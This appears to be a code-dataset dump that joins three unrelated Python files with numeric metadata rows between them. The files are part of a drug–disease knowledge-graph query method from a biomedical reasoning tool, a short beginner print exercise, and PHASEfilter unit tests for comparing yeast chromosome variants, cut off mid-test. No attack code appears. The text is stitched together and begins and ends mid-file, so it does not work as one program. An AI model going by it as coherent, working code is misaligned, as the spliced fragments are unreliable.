disease_label_list = ['disease','phenotypicfeature','diseaseorphenotypicfeature']
# use for checking the requirement
source_pass_nodes = None
source_category = None
target_pass_nodes = None
target_category = None
qedge = query_graph.edges[qedge_key]
source_qnode_key = qedge.subject
target_qnode_key = qedge.object
source_qnode = query_graph.nodes[source_qnode_key]
target_qnode = query_graph.nodes[target_qnode_key]
# check if both ends of edge have no curie
if (source_qnode.id is None) and (target_qnode.id is None):
log.error(f"Both ends of edge {qedge_key} are None", error_code="BadEdge")
return final_kg, edge_to_nodes_map
# check if the query nodes are drug or disease
if source_qnode.id is not None:
has_error, pass_nodes, not_pass_nodes = self._check_id(source_qnode.id, log)
if has_error:
return final_kg, edge_to_nodes_map
else:
if len(not_pass_nodes)==0 and len(pass_nodes)!=0:
source_pass_nodes = pass_nodes
elif len(not_pass_nodes)!=0 and len(pass_nodes)!=0:
source_pass_nodes = pass_nodes
if len(not_pass_nodes)==1:
log.warning(f"The preferred label of {not_pass_nodes[0]} is not drug or disease")
else:
log.warning(f"The preferred labels of {not_pass_nodes} are not drug or disease")
else:
if type(source_qnode.id) is str:
log.error(f"The preferred label of {source_qnode.id} is not drug or disease", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
log.error(f"The preferred labels of {source_qnode.id} are not drug or disease", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
category = source_qnode.category.replace('biolink:','').replace('_','').lower()
if (category in drug_label_list) or (category in disease_label_list):
source_category = category
else:
log.error(f"The category of query node {source_qnode_key} is unsatisfiable", error_code="CategoryError")
return final_kg, edge_to_nodes_map
if target_qnode.id is not None:
has_error, pass_nodes, not_pass_nodes = self._check_id(target_qnode.id, log)
if has_error:
return final_kg, edge_to_nodes_map
else:
if len(not_pass_nodes)==0 and len(pass_nodes)!=0:
target_pass_nodes = pass_nodes
elif len(not_pass_nodes)!=0 and len(pass_nodes)!=0:
target_pass_nodes = pass_nodes
if len(not_pass_nodes)==1:
log.warning(f"The preferred label of {not_pass_nodes[0]} is not drug or disease")
else:
log.warning(f"The preferred labels of {not_pass_nodes} are not drug or disease")
else:
if type(target_qnode.id) is str:
log.error(f"The preferred label of {target_qnode.id} is not drug or disease", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
log.error(f"The preferred labels of {target_qnode.id} are not drug or disease", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
category = target_qnode.category.replace('biolink:','').replace('_','').lower()
if (category in drug_label_list) or (category in disease_label_list):
target_category = category
else:
log.error(f"The category of query node {target_qnode_key} is unsatisfiable", error_code="CategoryError")
return final_kg, edge_to_nodes_map
if (source_pass_nodes is None) and (target_pass_nodes is None):
return final_kg, edge_to_nodes_map
elif (source_pass_nodes is not None) and (target_pass_nodes is not None):
source_dict = dict()
target_dict = dict()
normalizer_result = self.synonymizer.get_canonical_curies(source_pass_nodes[0])
preferred_type = normalizer_result[source_pass_nodes[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()
if preferred_type in drug_label_list:
source_category_temp = 'drug'
else:
source_category_temp = 'disease'
normalizer_result = self.synonymizer.get_canonical_curies(target_pass_nodes[0])
preferred_type = normalizer_result[target_pass_nodes[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()
if preferred_type in drug_label_list:
target_category_temp = 'drug'
else:
target_category_temp = 'disease'
if source_category_temp == target_category_temp:
log.error(f"The query nodes in both ends of edge are the same type which is {source_category_temp}", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
for (source_curie, target_curie) in itertools.product(source_pass_nodes, target_pass_nodes):
max_probability = -1
normalizer_result = self.synonymizer.get_canonical_curies(source_curie)
converted_source_curie = normalizer_result[source_curie]
normalizer_result = self.synonymizer.get_canonical_curies(target_curie)
converted_target_curie = normalizer_result[target_curie]
if source_category_temp == 'drug':
converted_source_curie = converted_source_curie['preferred_curie']
converted_target_curie = converted_target_curie['preferred_curie']
else:
temp = converted_source_curie['preferred_curie']
converted_source_curie = converted_target_curie['preferred_curie']
converted_target_curie = temp
probability = self.pred.prob_single(converted_source_curie, converted_target_curie)
if probability is not None:
probability = probability[0]
if np.isfinite(probability):
max_probability = probability
if max_probability >= self.DTD_threshold:
if source_category_temp == 'drug':
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(source_curie, target_curie, "probability_treats", max_probability)
else:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(target_curie, source_curie, "probability_treats", max_probability)
source_dict[source_curie] = source_qnode_key
target_dict[target_curie] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = source_curie
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = target_curie
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
else:
continue
# Add the nodes to our answer knowledge graph
if len(source_dict) != 0:
for source_curie in source_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(source_curie)
final_kg.add_node(swagger_node_key, swagger_node, source_dict[source_curie])
if len(target_dict) != 0:
for target_curie in target_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(target_curie)
final_kg.add_node(swagger_node_key, swagger_node, target_dict[target_curie])
return final_kg, edge_to_nodes_map
elif source_pass_nodes is not None:
source_dict = dict()
target_dict = dict()
normalizer_result = self.synonymizer.get_canonical_curies(source_pass_nodes[0])
preferred_type = normalizer_result[source_pass_nodes[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()
if preferred_type in drug_label_list:
source_category_temp = 'drug'
else:
source_category_temp = 'disease'
if target_category in drug_label_list:
target_category_temp = 'drug'
else:
target_category_temp = 'disease'
if source_category_temp == target_category_temp:
log.error(f"The query nodes in both ends of edge are the same type which is {source_category_temp}", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
cypher_query = self._convert_one_hop_query_graph_to_cypher_query(query_graph, False, "KG2c", log)
if log.status != 'OK':
return final_kg, edge_to_nodes_map
neo4j_results = self._answer_query_using_neo4j(cypher_query, qedge_key, "KG2c", log)
if log.status != 'OK':
return final_kg, edge_to_nodes_map
results_table = neo4j_results[0]
column_names = [column_name for column_name in results_table]
res = [(neo4j_edge.get('n0'),neo4j_edge.get('n1')) for column_name in column_names if column_name.startswith('edges') for neo4j_edge in results_table.get(column_name)]
if len(res) != 0:
all_probabilities = self.pred.prob_all(res)
if all_probabilities is not None:
res, all_probabilities = all_probabilities
res = [(res[index][0],res[index][1],all_probabilities[index]) for index in range(len(all_probabilities)) if np.isfinite(all_probabilities[index]) and res[index][0] in source_pass_nodes and all_probabilities[index] >= self.DTD_threshold]
else:
return final_kg, edge_to_nodes_map
else:
return final_kg, edge_to_nodes_map
if source_category_temp == 'drug':
for row in res:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(row[0], row[1], "probability_treats", row[2])
source_dict[row[0]] = source_qnode_key
target_dict[row[1]] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = row[0]
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = row[1]
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
else:
for row in res:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(row[1], row[0], "probability_treats", row[2])
source_dict[row[0]] = source_qnode_key
target_dict[row[1]] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = row[0]
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = row[1]
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
# Add the nodes to our answer knowledge graph
if len(source_dict) != 0:
for source_curie in source_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(source_curie)
final_kg.add_node(swagger_node_key, swagger_node, source_dict[source_curie])
if len(target_dict) != 0:
for target_curie in target_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(target_curie)
final_kg.add_node(swagger_node_key, swagger_node, target_dict[target_curie])
return final_kg, edge_to_nodes_map
else:
source_dict = dict()
target_dict = dict()
normalizer_result = self.synonymizer.get_canonical_curies(target_pass_nodes[0])
preferred_type = normalizer_result[target_pass_nodes[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()
if preferred_type in drug_label_list:
target_category_temp = 'drug'
else:
target_category_temp = 'disease'
if source_category in drug_label_list:
source_category_temp = 'drug'
else:
source_category_temp = 'disease'
if source_category_temp == target_category_temp:
log.error(f"The query nodes in both ends of edge are the same type which is {source_category_temp}", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
cypher_query = self._convert_one_hop_query_graph_to_cypher_query(query_graph, False, "KG2c", log)
if log.status != 'OK':
return final_kg, edge_to_nodes_map
neo4j_results = self._answer_query_using_neo4j(cypher_query, qedge_key, "KG2c", log)
if log.status != 'OK':
return final_kg, edge_to_nodes_map
results_table = neo4j_results[0]
column_names = [column_name for column_name in results_table]
res = [(neo4j_edge.get('n0'),neo4j_edge.get('n1')) for column_name in column_names if column_name.startswith('edges') for neo4j_edge in results_table.get(column_name)]
if len(res) != 0:
all_probabilities = self.pred.prob_all(res)
if all_probabilities is not None:
res, all_probabilities = all_probabilities
res = [(res[index][0],res[index][1],all_probabilities[index]) for index in range(len(all_probabilities)) if np.isfinite(all_probabilities[index]) and res[index][1] in target_pass_nodes and all_probabilities[index] >= self.DTD_threshold]
else:
return final_kg, edge_to_nodes_map
else:
return final_kg, edge_to_nodes_map
if target_category_temp == 'drug':
for row in res:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(row[1], row[0], "probability_treats", row[2])
source_dict[row[0]] = source_qnode_key
target_dict[row[1]] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = row[0]
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = row[1]
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
else:
for row in res:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(row[0], row[1], "probability_treats", row[2])
source_dict[row[0]] = source_qnode_key
target_dict[row[1]] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = row[0]
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = row[1]
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
# Add the nodes to our answer knowledge graph
if len(source_dict) != 0:
for source_curie in source_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(source_curie)
final_kg.add_node(swagger_node_key, swagger_node, source_dict[source_curie])
if len(target_dict) != 0:
for target_curie in target_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(target_curie)
final_kg.add_node(swagger_node_key, swagger_node, target_dict[target_curie])
return final_kg, edge_to_nodes_map
def _check_id(self, qnode_id, log):
drug_label_list = ['chemicalsubstance', 'drug']
disease_label_list = ['disease','phenotypicfeature','diseaseorphenotypicfeature']
if type(qnode_id) is str:
normalizer_result = self.synonymizer.get_canonical_curies(qnode_id)
if normalizer_result[qnode_id] is not None:
preferred_type = normalizer_result[qnode_id]['preferred_type'].replace('biolink:','').replace('_','').lower()
if (preferred_type in drug_label_list) or (preferred_type in disease_label_list):
return [False, [qnode_id], []]
else:
return [False, [], [qnode_id]]
else:
log.error(f"Query node '{qnode_id}' can't get its canonical curie from NodeSynonymizer", error_code="NoPreferredCurie")
return [True, [], []]
else:
pass_nodes_drug_temp = list()
pass_nodes_disease_temp = list()
not_pass_nodes = list()
for curie in qnode_id:
normalizer_result = self.synonymizer.get_canonical_curies(curie)
if normalizer_result[curie] is not None:
preferred_type = normalizer_result[curie]['preferred_type'].replace('biolink:','').replace('_','').lower()
if (preferred_type in drug_label_list):
pass_nodes_drug_temp += [curie]
elif (preferred_type in disease_label_list):
pass_nodes_disease_temp += [curie]
else:
not_pass_nodes += [curie]
else:
log.error(f"Query node '{curie}' can't get its canonical curie from NodeSynonymizer", error_code="NoPreferredCurie")
return [True, [], []]
if len(pass_nodes_drug_temp)!=0 and len(pass_nodes_disease_temp) != 0:
log.error(f"The preferred types of {qnode_id} contain both drug and disease", error_code="NoPreferredCurie")
return [True, [], []]
else:
pass_nodes = pass_nodes_drug_temp + pass_nodes_disease_temp
return [False, pass_nodes, not_pass_nodes]
def _convert_one_hop_query_graph_to_cypher_query(self, qg: QueryGraph, enforce_directionality: bool, kg_name: str, log: ARAXResponse) -> str:
qedge_key = next(qedge_key for qedge_key in qg.edges)
qedge = qg.edges[qedge_key]
log.debug(f"Generating cypher for edge {qedge_key} query graph")
try:
# Build the match clause
source_qnode_key = qedge.subject
target_qnode_key = qedge.object
qedge_cypher = self._get_cypher_for_query_edge(qedge_key, qg, enforce_directionality)
source_qnode_cypher = self._get_cypher_for_query_node(source_qnode_key, qg, kg_name)
target_qnode_cypher = self._get_cypher_for_query_node(target_qnode_key, qg, kg_name)
match_clause = f"MATCH {source_qnode_cypher}{qedge_cypher}{target_qnode_cypher}"
# Build the where clause
where_fragments = []
for qnode_key in [source_qnode_key, target_qnode_key]:
qnode = qg.nodes[qnode_key]
if qnode.id and isinstance(qnode.id, list) and len(qnode.id) > 1:
where_fragments.append(f"{qnode_key}.id in {qnode.id}")
if qnode.category:
if kg_name == "KG2c":
qnode_categories = eu.convert_to_list(qnode.category)
category_fragments = [f"'{qnode_category}' in {qnode_key}.types" for qnode_category in qnode_categories]
joined_category_fragments = " OR ".join(category_fragments)
category_where_clause = joined_category_fragments if len(category_fragments) < 2 else f"({joined_category_fragments})"
where_fragments.append(category_where_clause)
elif isinstance(qnode.category, list):
if kg_name == "KG2":
node_category_property = "category_label"
else:
node_category_property = "category"
where_fragments.append(f"{qnode_key}.{node_category_property} in {qnode.category}")
if where_fragments:
where_clause = f"WHERE {' AND '.join(where_fragments)}"
else:
where_clause = ""
# Build the with clause
source_qnode_col_name = f"nodes_{source_qnode_key}"
target_qnode_col_name = f"nodes_{target_qnode_key}"
qedge_col_name = f"edges_{qedge_key}"
# This line grabs the edge's ID and a record of which of its nodes correspond to which qnode ID
extra_edge_properties = "{.*, " + f"id:ID({qedge_key}), {source_qnode_key}:{source_qnode_key}.id, {target_qnode_key}:{target_qnode_key}.id" + "}"
with_clause = f"WITH collect(distinct {source_qnode_key}) as {source_qnode_col_name}, " \
f"collect(distinct {target_qnode_key}) as {target_qnode_col_name}, " \
f"collect(distinct {qedge_key}{extra_edge_properties}) as {qedge_col_name}"
# Build the return clause
return_clause = f"RETURN {source_qnode_col_name}, {target_qnode_col_name}, {qedge_col_name}"
cypher_query = f"{match_clause} {where_clause} {with_clause} {return_clause}"
return cypher_query
except Exception:
tb = traceback.format_exc()
error_type, error, _ = sys.exc_info()
log.error(f"Problem generating cypher for query. {tb}", error_code=error_type.__name__)
return ""
def _convert_to_swagger_edge(self, subject: str, object: str, name: str, value: float) -> Tuple[str, Edge]:
swagger_edge = Edge()
self.count = self.count + 1
swagger_edge.predicate = f"biolink:{name}"
swagger_edge.subject = subject
swagger_edge.object = object
swagger_edge_key = f"DTD:{subject}-{name}-{object}"
swagger_edge.relation = None
type = "EDAM:data_0951"
url = "https://doi.org/10.1101/765305"
swagger_edge.attributes = [Attribute(type=type, name=name, value=str(value), url=url),
Attribute(name="provided_by", value="ARAX/DTD", type=eu.get_attribute_type("provided_by")),
Attribute(name="is_defined_by", value="ARAX", type=eu.get_attribute_type("is_defined_by"))]
return swagger_edge_key, swagger_edge
def _convert_to_swagger_node(self, node_key: str) -> Tuple[str, Node]:
swagger_node = Node()
swagger_node_key = node_key
swagger_node.name = self.synonymizer.get_canonical_curies(node_key)[node_key]['preferred_name']
swagger_node.description = None
swagger_node.category = self.synonymizer.get_canonical_curies(node_key)[node_key]['preferred_type']
return swagger_node_key, swagger_node
def _answer_query_using_neo4j(self, cypher_query: str, qedge_key: str, kg_name: str, log: ARAXResponse) -> List[Dict[str, List[Dict[str, any]]]]:
log.info(f"Sending cypher query for edge {qedge_key} to {kg_name} neo4j")
results_from_neo4j = self._run_cypher_query(cypher_query, kg_name, log)
if log.status == 'OK':
columns_with_lengths = dict()
for column in results_from_neo4j[0]:
columns_with_lengths[column] = len(results_from_neo4j[0].get(column))
return results_from_neo4j
@staticmethod
def _run_cypher_query(cypher_query: str, kg_name: str, log: ARAXResponse) -> List[Dict[str, any]]:
rtxc = RTXConfiguration()
if "KG2" in kg_name: # Flip into KG2 mode if that's our KP (rtx config is set to KG1 info by default)
rtxc.live = kg_name.upper() # TODO: Eventually change config file to "KG2c" vs. "KG2C" (then won't need to convert case here)
try:
driver = GraphDatabase.driver(rtxc.neo4j_bolt, auth=(rtxc.neo4j_username, rtxc.neo4j_password))
with driver.session() as session:
query_results = session.run(cypher_query).data()
driver.close()
except Exception:
tb = traceback.format_exc()
error_type, error, _ = sys.exc_info()
log.error(f"Encountered an error interacting with {kg_name} neo4j. {tb}", error_code=error_type.__name__)
return []
else:
return query_results
@staticmethod
def _get_cypher_for_query_node(qnode_key: str, qg: QueryGraph, kg_name: str) -> str:
qnode = qg.nodes[qnode_key]
type_cypher = f":{qnode.category}" if qnode.category and isinstance(qnode.category, str) and kg_name != "KG2c" else ""
if qnode.id and (isinstance(qnode.id, str) or len(qnode.id) == 1):
curie = qnode.id if isinstance(qnode.id, str) else qnode.id[0]
curie_cypher = f" {{id:'{curie}'}}"
else:
curie_cypher = ""
qnode_cypher = f"({qnode_key}{type_cypher}{curie_cypher})"
return qnode_cypher
@staticmethod
def _get_cypher_for_query_edge(qedge_key: str, qg: QueryGraph, enforce_directionality: bool) -> str:
qedge = qg.edges[qedge_key]
qedge_type_cypher = f":`{qedge.predicate}`" if qedge.predicate else ""
full_qedge_cypher = f"-[{qedge_key}{qedge_type_cypher}]-"
if enforce_directionality:
full_qedge_cypher += ">"
return full_qedge_cypher
| 58.392553 | 260 | 0.607481 | 6,668 | 54,889 | 4.655669 | 0.055489 | 0.03756 | 0.030827 | 0.039235 | 0.819869 | 0.781665 | 0.766686 | 0.751707 | 0.737856 | 0.73209 | 0 | 0.006726 | 0.311957 | 54,889 | 939 | 261 | 58.454739 | 0.815284 | 0.057243 | 0 | 0.740597 | 0 | 0.001297 | 0.12354 | 0.025165 | 0.001297 | 0 | 0 | 0.001065 | 0 | 1 | 0.015564 | false | 0.103761 | 0.029831 | 0 | 0.119326 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
d8ada696f9cf27590ea58529b77327a5ff30d371 | 141 | py | Python | 1096.py | luizgallas/uri_iniciante | fd23f2fe1638b373b94b7b4ddb2d906cec8db87b | [
"Apache-2.0"
] | null | null | null | 1096.py | luizgallas/uri_iniciante | fd23f2fe1638b373b94b7b4ddb2d906cec8db87b | [
"Apache-2.0"
] | null | null | null | 1096.py | luizgallas/uri_iniciante | fd23f2fe1638b373b94b7b4ddb2d906cec8db87b | [
"Apache-2.0"
] | null | null | null | I = -1
for i in range(1, 6):
i = I+2
print("I=%d J=%d"%(i, 7))
print("I=%d J=%d"%(i, 6))
print("I=%d J=%d"%(i, 5))
I = i
| 17.625 | 29 | 0.375887 | 34 | 141 | 1.558824 | 0.352941 | 0.339623 | 0.396226 | 0.45283 | 0.566038 | 0.566038 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 0.304965 | 141 | 7 | 30 | 20.142857 | 0.469388 | 0 | 0 | 0 | 0 | 0 | 0.191489 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.428571 | 0 | 0 | 1 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
2b3c7d6831e0397cf95504e2ef3bab736cb70aa0 | 9,308 | py | Python | PHASEfilter/tests/test_process_genomes.py | ibigen/PHASEfilter | 669729f408b9c23d5db2ba72e74195b2228669da | [
"MIT"
] | null | null | null | PHASEfilter/tests/test_process_genomes.py | ibigen/PHASEfilter | 669729f408b9c23d5db2ba72e74195b2228669da | [
"MIT"
] | null | null | null | PHASEfilter/tests/test_process_genomes.py | ibigen/PHASEfilter | 669729f408b9c23d5db2ba72e74195b2228669da | [
"MIT"
] | null | null | null | '''
Created on 01/06/2020
@author: mmp
'''
import unittest, os
from PHASEfilter.lib.utils.util import Utils
from PHASEfilter.lib.process.process_genomes import ProcessTwoGenomes
class Test(unittest.TestCase):
utils = Utils()
def test_process_chromosome(self):
"""
"""
seq_file_name_a = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1A.fasta")
seq_file_name_b = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1B.fasta")
self.assertTrue(os.path.exists(seq_file_name_a))
self.assertTrue(os.path.exists(seq_file_name_b))
vcf_1 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrA.vcf")
vcf_2 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrB.vcf")
outfile_vcf = self.utils.get_temp_file("dont_care_", ".vcf")
outfile_vcf_removed = self.utils.get_temp_file("dont_care_2", ".vcf")
outfile_vcf_LOH_removed = self.utils.get_temp_file("dont_care_3", ".vcf")
report_out_temp = self.utils.get_temp_file("report_temp_", ".txt")
threshold_ad = -1.0
threshold_remove_variant_ad = -1.0
process_two_genomes = ProcessTwoGenomes(seq_file_name_a, seq_file_name_b, vcf_1, vcf_2, threshold_ad,
threshold_remove_variant_ad, outfile_vcf)
chr_name_A = "Ca22chr1A_C_albicans_SC5314"
chr_name_B = "Ca22chr1B_C_albicans_SC5314"
print_results = False
self.assertEqual((True, True, False), process_two_genomes.process_chromosome(chr_name_A, chr_name_B, outfile_vcf,
outfile_vcf_removed, outfile_vcf_LOH_removed, report_out_temp, print_results))
vect_data = self.utils.read_text_file(report_out_temp)
self.assertEqual(1, len(vect_data))
self.assertEqual("8 115 0 0 2078 8 2209 2201 minimap2 100.00", vect_data[0])
self.assertTrue(os.path.getsize(outfile_vcf) > 200)
## remove files
self.utils.remove_file(report_out_temp)
self.utils.remove_file(outfile_vcf)
self.utils.remove_file(outfile_vcf_removed)
self.utils.remove_file(outfile_vcf_LOH_removed)
def test_process_chromosome_1(self):
"""
"""
seq_file_name_a = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1A_multiple.fasta")
seq_file_name_b = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1B_multiple.fasta")
self.assertTrue(os.path.exists(seq_file_name_a))
self.assertTrue(os.path.exists(seq_file_name_b))
vcf_1 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrA.vcf")
vcf_2 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrB.vcf")
outfile_vcf = self.utils.get_temp_file("dont_care_", ".vcf")
outfile_vcf_removed = self.utils.get_temp_file("dont_care_2", ".vcf")
outfile_vcf_LOH_removed = self.utils.get_temp_file("dont_care_3", ".vcf")
report_out_temp = self.utils.get_temp_file("report_temp_", ".txt")
threshold_ad = 0.01
threshold_remove_variant_ad = -1.0
process_two_genomes = ProcessTwoGenomes(seq_file_name_a, seq_file_name_b, vcf_1, vcf_2, threshold_ad,
threshold_remove_variant_ad, outfile_vcf)
chr_name_A = "Ca22chr1A_C_albicans_SC5314"
chr_name_B = "Ca22chr2B_C_albicans_SC5314"
print_results = False
self.assertEqual((True, False, False), process_two_genomes.process_chromosome(chr_name_A, chr_name_B, outfile_vcf,
outfile_vcf_removed, outfile_vcf_LOH_removed, report_out_temp, print_results))
vect_data = self.utils.read_text_file(report_out_temp)
self.assertEqual(1, len(vect_data))
self.assertEqual("0 2209 0 0 0 0 0 2209 minimap2 60.28", vect_data[0])
self.assertTrue(os.path.getsize(outfile_vcf) > 200)
## remove files
self.utils.remove_file(report_out_temp)
self.utils.remove_file(outfile_vcf)
self.utils.remove_file(outfile_vcf_removed)
self.utils.remove_file(outfile_vcf_LOH_removed)
def test_process_chromosome_2(self):
"""
"""
seq_file_name_a = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1A_multiple.fasta")
seq_file_name_b = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1B_multiple.fasta")
self.assertTrue(os.path.exists(seq_file_name_a))
self.assertTrue(os.path.exists(seq_file_name_b))
vcf_1 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrA.vcf")
vcf_2 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrB.vcf")
outfile_vcf = self.utils.get_temp_file("dont_care_", ".vcf")
outfile_vcf_removed = self.utils.get_temp_file("dont_care_2", ".vcf")
outfile_vcf_LOH_removed = self.utils.get_temp_file("dont_care_3", ".vcf")
report_out_temp = self.utils.get_temp_file("report_temp_", ".txt")
threshold_ad = 0.01
threshold_remove_variant_ad = -1.0
process_two_genomes = ProcessTwoGenomes(seq_file_name_a, seq_file_name_b, vcf_1, vcf_2, threshold_ad,
threshold_remove_variant_ad, outfile_vcf)
chr_name_A = "Ca22chr2A_C_albicans_SC5314"
chr_name_B = "Ca22chr1B_C_albicans_SC5314"
print_results = False
self.assertEqual((False, False, False), process_two_genomes.process_chromosome(chr_name_A, chr_name_B, outfile_vcf,
outfile_vcf_removed, outfile_vcf_LOH_removed, report_out_temp, print_results))
vect_data = self.utils.read_text_file(report_out_temp)
self.assertEqual(1, len(vect_data))
self.assertEqual("0 0 0 0 0 0 0 0 minimap2 55.01", vect_data[0])
self.assertEqual(0, os.path.getsize(outfile_vcf))
## remove files
self.utils.remove_file(report_out_temp)
self.utils.remove_file(outfile_vcf)
self.utils.remove_file(outfile_vcf_removed)
self.utils.remove_file(outfile_vcf_LOH_removed)
def test_process_chromosome_3(self):
"""
"""
seq_file_name_a = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1A_multiple.fasta")
seq_file_name_b = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1B_multiple.fasta")
self.assertTrue(os.path.exists(seq_file_name_a))
self.assertTrue(os.path.exists(seq_file_name_b))
vcf_1 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrA.vcf")
vcf_2 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrB.vcf")
outfile_vcf = self.utils.get_temp_file("dont_care_", ".vcf")
outfile_vcf_removed = self.utils.get_temp_file("dont_care_2", ".vcf")
outfile_vcf_LOH_removed = self.utils.get_temp_file("dont_care_3", ".vcf")
report_out_temp = self.utils.get_temp_file("report_temp_", ".txt")
threshold_ad = 0.01
threshold_remove_variant_ad = -1.0
process_two_genomes = ProcessTwoGenomes(seq_file_name_a, seq_file_name_b, vcf_1, vcf_2, threshold_ad,
threshold_remove_variant_ad, outfile_vcf)
chr_name_A = "Ca22chr2A_C_albicans_SC5314"
chr_name_B = "Ca22chr2B_C_albicans_SC5314"
print_results = False
self.assertEqual((False, False, False), process_two_genomes.process_chromosome(chr_name_A, chr_name_B, outfile_vcf,
outfile_vcf_removed, outfile_vcf_LOH_removed, report_out_temp, print_results))
vect_data = self.utils.read_text_file(report_out_temp)
self.assertEqual(1, len(vect_data))
self.assertEqual("0 0 0 0 0 0 0 0 minimap2 93.58", vect_data[0])
self.assertEqual(0, os.path.getsize(outfile_vcf))
## remove files
self.utils.remove_file(report_out_temp)
self.utils.remove_file(outfile_vcf)
self.utils.remove_file(outfile_vcf_removed)
self.utils.remove_file(outfile_vcf_LOH_removed)
def test_process_chromosome_4(self):
"""
"""
seq_file_name_a = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1A.fasta")
seq_file_name_b = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/ref/ref_ca22_1B.fasta")
self.assertTrue(os.path.exists(seq_file_name_a))
self.assertTrue(os.path.exists(seq_file_name_b))
vcf_1 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrA.vcf")
vcf_2 = os.path.join(os.path.dirname(os.path.abspath(__file__)), "files/vcf/chrB.vcf")
outfile_vcf = self.utils.get_temp_file("dont_care_", ".vcf")
outfile_vcf_removed = self.utils.get_temp_file("dont_care_2", ".vcf")
outfile_vcf_LOH_removed = self.utils.get_temp_file("dont_care_3", ".vcf")
report_out_temp = self.utils.get_temp_file("report_temp_", ".txt")
threshold_ad = 0.3
threshold_remove_variant_ad = 0.2
process_two_genomes = ProcessTwoGenomes(seq_file_name_a, seq_file_name_b, vcf_1, vcf_2, threshold_ad,
threshold_remove_variant_ad, outfile_vcf)
chr_name_A = "Ca22chr1A_C_albicans_SC5314"
chr_name_B = "Ca22chr1B_C_albicans_SC5314"
